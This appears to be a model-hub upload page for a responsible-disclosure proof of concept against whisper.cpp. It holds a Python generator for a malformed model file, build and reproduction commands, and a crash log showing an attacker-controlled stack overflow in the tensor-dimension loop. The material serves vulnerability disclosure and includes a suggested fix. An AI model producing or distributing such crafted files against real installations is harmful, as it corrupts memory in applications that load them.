Upload 4 files
Browse files- CRASH_PROVEN.md +50 -0
- README.md +68 -0
- gen_whisper_ndims_poc.py +80 -0
- poc_whisper_ndims.bin +3 -0
CRASH_PROVEN.md
ADDED
|
@@ -0,0 +1,50 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# Dynamic crash proof — whisper.cpp unchecked `n_dims` stack buffer overflow
|
| 2 |
+
|
| 3 |
+
Reproduced 2026-07-04 on macOS (Darwin 25.5, Apple clang 17, arm64).
|
| 4 |
+
|
| 5 |
+
## Target
|
| 6 |
+
- repo: `ggml-org/whisper.cpp` @ `6fc7c33`
|
| 7 |
+
- Sink: `src/whisper.cpp` `whisper_model_load()` tensor-read loop — `int32_t ne[4]` written with an
|
| 8 |
+
unbounded, attacker-controlled `n_dims` count.
|
| 9 |
+
|
| 10 |
+
## Build (Release, CPU-only, `-fstack-protector-all`; NO sanitizer)
|
| 11 |
+
```
|
| 12 |
+
cmake -B build-rel -DCMAKE_BUILD_TYPE=Release -DGGML_METAL=OFF -DGGML_ACCELERATE=OFF -DGGML_BLAS=OFF \
|
| 13 |
+
-DWHISPER_BUILD_TESTS=OFF -DWHISPER_BUILD_SERVER=OFF \
|
| 14 |
+
-DCMAKE_C_FLAGS="-g -fstack-protector-all" -DCMAKE_CXX_FLAGS="-g -fstack-protector-all"
|
| 15 |
+
cmake --build build-rel --target whisper-cli
|
| 16 |
+
```
|
| 17 |
+
|
| 18 |
+
## Malicious input — `poc_whisper_ndims.bin` (80 KB)
|
| 19 |
+
Valid whisper "tiny" header (so the tensor map builds and execution reaches the tensor-read loop),
|
| 20 |
+
then ONE tensor record with `n_dims = 20000` followed by 20000 sentinel words `0x41414141` ("AAAA").
|
| 21 |
+
|
| 22 |
+
## Run + crash
|
| 23 |
+
```
|
| 24 |
+
whisper_model_load: type = 1 (tiny)
|
| 25 |
+
whisper_model_load: adding 51865 extra tokens
|
| 26 |
+
whisper_model_load: CPU total size = 77.11 MB <- model fully built; entering tensor-read loop
|
| 27 |
+
<SIGSEGV>
|
| 28 |
+
exit=139 (128 + SIGSEGV(11))
|
| 29 |
+
```
|
| 30 |
+
|
| 31 |
+
## lldb stop frame — attacker bytes in the fault address
|
| 32 |
+
```
|
| 33 |
+
* thread #1, stop reason = EXC_BAD_ACCESS (code=1, address=0x141414149)
|
| 34 |
+
frame #0: libc++.1.dylib`std::basic_istream<char>::read(char*, long) + 36
|
| 35 |
+
-> str xzr, [x0, #0x8] ; x0 = 0x141414149
|
| 36 |
+
```
|
| 37 |
+
The faulting address `0x141414149` is the attacker sentinel `0x41414141` ("AAAA"): the unbounded
|
| 38 |
+
`for (i=0;i<n_dims;++i) read_safe(loader, ne[i])` loop wrote our chosen 4-byte words far past the
|
| 39 |
+
4-element stack array `ne[4]`, overwriting adjacent stack state (including the `std::istream` object
|
| 40 |
+
pointer used by the very next `read_safe`), which is then dereferenced → crash. This demonstrates
|
| 41 |
+
**attacker-controlled stack memory corruption** (CWE-787), not a benign parser error.
|
| 42 |
+
|
| 43 |
+
## What this proves
|
| 44 |
+
1. `n_dims` from the model file is used as an unchecked loop bound over a fixed `int32_t ne[4]`.
|
| 45 |
+
2. The loop writes attacker-chosen 4-byte values sequentially past the array — the classic
|
| 46 |
+
controlled-length/controlled-content stack smash.
|
| 47 |
+
3. Reached via the standard `whisper_init_from_file` → `whisper_model_load` path that EVERY
|
| 48 |
+
whisper.cpp application uses to load a model. (The sibling site `whisper_vad_init_with_params`
|
| 49 |
+
has the identical bug on the VAD-model path.)
|
| 50 |
+
```
|
README.md
ADDED
|
@@ -0,0 +1,68 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
---
|
| 2 |
+
license: mit
|
| 3 |
+
tags:
|
| 4 |
+
- security
|
| 5 |
+
- poc
|
| 6 |
+
- huntr
|
| 7 |
+
- model-file-vulnerability
|
| 8 |
+
---
|
| 9 |
+
|
| 10 |
+
# PoC — whisper.cpp unchecked `n_dims` stack buffer overflow
|
| 11 |
+
|
| 12 |
+
Proof-of-concept model file for a **huntr Model File Vulnerabilities** report against
|
| 13 |
+
[`ggml-org/whisper.cpp`](https://github.com/ggml-org/whisper.cpp) @ `6fc7c33`.
|
| 14 |
+
|
| 15 |
+
**This repository contains a deliberately malformed GGML model file for authorized security research
|
| 16 |
+
(responsible disclosure via huntr). It is not a usable model.**
|
| 17 |
+
|
| 18 |
+
## The bug (summary)
|
| 19 |
+
|
| 20 |
+
`whisper_model_load()` (and the sibling `whisper_vad_init_with_params()`) read a per-tensor
|
| 21 |
+
`int32_t n_dims` from the model file and use it, **unchecked**, as the bound of a loop that writes into
|
| 22 |
+
a fixed 4-element stack array `int32_t ne[4]`:
|
| 23 |
+
|
| 24 |
+
```cpp
|
| 25 |
+
// src/whisper.cpp (whisper_model_load)
|
| 26 |
+
:1874 read_safe(loader, n_dims); // attacker-controlled
|
| 27 |
+
:1883 int32_t ne[4] = { 1, 1, 1, 1 }; // fixed 4-element STACK array
|
| 28 |
+
:1884 for (int i = 0; i < n_dims; ++i) {
|
| 29 |
+
:1885 read_safe(loader, ne[i]); // OOB stack write for n_dims > 4
|
| 30 |
+
:1886 nelements *= ne[i];
|
| 31 |
+
:1887 }
|
| 32 |
+
```
|
| 33 |
+
|
| 34 |
+
There is no `n_dims <= GGML_MAX_DIMS` check before the loop. All shape/size validation runs *after* it.
|
| 35 |
+
A crafted model file with a large `n_dims` writes an attacker-controlled sequence of 4-byte words far
|
| 36 |
+
past `ne[4]`, smashing the stack (CWE-787). The identical pattern exists at the VAD loader
|
| 37 |
+
(`whisper_vad_init_with_params`, `src/whisper.cpp:5016/5025/5026`).
|
| 38 |
+
|
| 39 |
+
## Files
|
| 40 |
+
|
| 41 |
+
| file | description |
|
| 42 |
+
|---|---|
|
| 43 |
+
| `poc_whisper_ndims.bin` | valid whisper "tiny" header + one tensor record with `n_dims=20000` and a run of `0x41414141` words. **Crashes `whisper-cli` with SIGSEGV.** |
|
| 44 |
+
| `gen_whisper_ndims_poc.py` | pure-python generator (documents the exact header layout). |
|
| 45 |
+
| `CRASH_PROVEN.md` | build commands + reproduced crash (attacker sentinel bytes in the fault address). |
|
| 46 |
+
|
| 47 |
+
## Reproduce
|
| 48 |
+
|
| 49 |
+
```
|
| 50 |
+
cmake -B build-rel -DCMAKE_BUILD_TYPE=Release -DGGML_METAL=OFF -DGGML_ACCELERATE=OFF -DGGML_BLAS=OFF \
|
| 51 |
+
-DWHISPER_BUILD_TESTS=OFF -DWHISPER_BUILD_SERVER=OFF \
|
| 52 |
+
-DCMAKE_C_FLAGS="-g -fstack-protector-all" -DCMAKE_CXX_FLAGS="-g -fstack-protector-all"
|
| 53 |
+
cmake --build build-rel --target whisper-cli
|
| 54 |
+
./build-rel/bin/whisper-cli -m poc_whisper_ndims.bin -f /dev/null
|
| 55 |
+
```
|
| 56 |
+
|
| 57 |
+
Observed (default Release, no sanitizer):
|
| 58 |
+
```
|
| 59 |
+
whisper_model_load: CPU total size = 77.11 MB <- model built; enters the tensor-read loop
|
| 60 |
+
stop reason = EXC_BAD_ACCESS (code=1, address=0x141414149) <- attacker's 0x41414141 bytes in the fault address
|
| 61 |
+
exit=139 (SIGSEGV)
|
| 62 |
+
```
|
| 63 |
+
See `CRASH_PROVEN.md`.
|
| 64 |
+
|
| 65 |
+
## Disclosure
|
| 66 |
+
|
| 67 |
+
Reported privately via huntr. Suggested fix: `if (n_dims < 0 || n_dims > GGML_MAX_DIMS) return false;`
|
| 68 |
+
before the fill loop, at both call sites.
|
gen_whisper_ndims_poc.py
ADDED
|
@@ -0,0 +1,80 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
"""
|
| 3 |
+
PoC generator — whisper.cpp unchecked `n_dims` stack buffer overflow.
|
| 4 |
+
|
| 5 |
+
whisper_model_load() (src/whisper.cpp) reads a per-tensor `int32_t n_dims` and then loops
|
| 6 |
+
`for (i=0; i<n_dims; ++i) read_safe(loader, ne[i]);` writing into a fixed stack array
|
| 7 |
+
`int32_t ne[4]` — with NO check that n_dims <= 4 (GGML_MAX_DIMS). A crafted model file with a
|
| 8 |
+
large n_dims writes an attacker-controlled sequence far past ne[4], smashing the stack
|
| 9 |
+
(CWE-787). All shape/size validation runs only AFTER this loop.
|
| 10 |
+
|
| 11 |
+
This builds a minimal-but-valid whisper GGML model (tiny topology, so the tensor map builds and
|
| 12 |
+
execution reaches the tensor-read loop), then appends ONE malicious tensor record whose n_dims is
|
| 13 |
+
huge, followed by a long run of sentinel words to overflow the stack.
|
| 14 |
+
|
| 15 |
+
Header layout (read order in whisper_model_load):
|
| 16 |
+
magic: uint32 GGML_FILE_MAGIC (0x67676d6c)
|
| 17 |
+
hparams: 11 x int32 (n_vocab, n_audio_ctx, n_audio_state, n_audio_head, n_audio_layer,
|
| 18 |
+
n_text_ctx, n_text_state, n_text_head, n_text_layer, n_mels, ftype)
|
| 19 |
+
mel: int32 n_mel, int32 n_fft, then n_mel*n_fft float32
|
| 20 |
+
vocab: int32 n_vocab_section, then that many (uint32 len, len bytes) tokens
|
| 21 |
+
tensors (loop): int32 n_dims, int32 name_len, int32 ttype, then n_dims x int32 ne[i], ...
|
| 22 |
+
|
| 23 |
+
Usage: python3 gen_whisper_ndims_poc.py [out.bin] [n_dims]
|
| 24 |
+
"""
|
| 25 |
+
import struct, sys
|
| 26 |
+
|
| 27 |
+
GGML_FILE_MAGIC = 0x67676d6c
|
| 28 |
+
|
| 29 |
+
def i32(x): return struct.pack("<i", x)
|
| 30 |
+
def u32(x): return struct.pack("<I", x)
|
| 31 |
+
def f32(x): return struct.pack("<f", x)
|
| 32 |
+
|
| 33 |
+
def build(n_dims_evil=20000):
|
| 34 |
+
b = bytearray()
|
| 35 |
+
b += u32(GGML_FILE_MAGIC)
|
| 36 |
+
|
| 37 |
+
# --- hparams: whisper "tiny" topology (n_audio_layer==4 -> MODEL_TINY) ---
|
| 38 |
+
# assert requires n_text_state == n_audio_state
|
| 39 |
+
hparams = [
|
| 40 |
+
51865, # n_vocab (>=51865 -> multilingual; used only for tensor sizes here)
|
| 41 |
+
1500, # n_audio_ctx
|
| 42 |
+
384, # n_audio_state
|
| 43 |
+
6, # n_audio_head
|
| 44 |
+
4, # n_audio_layer -> MODEL_TINY
|
| 45 |
+
448, # n_text_ctx
|
| 46 |
+
384, # n_text_state (== n_audio_state)
|
| 47 |
+
6, # n_text_head
|
| 48 |
+
4, # n_text_layer
|
| 49 |
+
80, # n_mels
|
| 50 |
+
1, # ftype = MOSTLY_F16
|
| 51 |
+
]
|
| 52 |
+
for h in hparams:
|
| 53 |
+
b += i32(h)
|
| 54 |
+
|
| 55 |
+
# --- mel filters: minimal (1x1) ---
|
| 56 |
+
b += i32(1) # n_mel
|
| 57 |
+
b += i32(1) # n_fft
|
| 58 |
+
b += f32(0.0) # one filter float
|
| 59 |
+
|
| 60 |
+
# --- vocab: 0 file tokens; loader auto-generates the rest (no file reads) ---
|
| 61 |
+
b += i32(0) # n_vocab_section = 0
|
| 62 |
+
|
| 63 |
+
# --- malicious tensor record ---
|
| 64 |
+
# whisper_model_load reads: n_dims, length(name), ttype, then n_dims x int32 ne[]
|
| 65 |
+
b += i32(n_dims_evil) # n_dims >> 4 -> overflow ne[4]
|
| 66 |
+
b += i32(8) # name length (irrelevant: crash happens in the ne[] loop, before name use)
|
| 67 |
+
b += i32(0) # ttype
|
| 68 |
+
# provide n_dims sentinel words so every loop iteration performs a write
|
| 69 |
+
for k in range(n_dims_evil):
|
| 70 |
+
b += i32(0x41414141) # 'AAAA' — recognizable stack-smash filler
|
| 71 |
+
return bytes(b)
|
| 72 |
+
|
| 73 |
+
if __name__ == "__main__":
|
| 74 |
+
out = sys.argv[1] if len(sys.argv) > 1 else "poc_whisper_ndims.bin"
|
| 75 |
+
nd = int(sys.argv[2], 0) if len(sys.argv) > 2 else 20000
|
| 76 |
+
data = build(nd)
|
| 77 |
+
with open(out, "wb") as f:
|
| 78 |
+
f.write(data)
|
| 79 |
+
print(f"wrote {out} ({len(data)} bytes), evil n_dims={nd} -> writes {nd} int32 past stack ne[4]")
|
| 80 |
+
print(f"trigger: whisper-cli -m {out} <any.wav> (or any app calling whisper_init_from_file)")
|
poc_whisper_ndims.bin
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:178b1f6e781d0d0a0eec1877e08f8ccda4ae66cd586ef108d0a4c891cb1d8e43
|
| 3 |
+
size 80076
|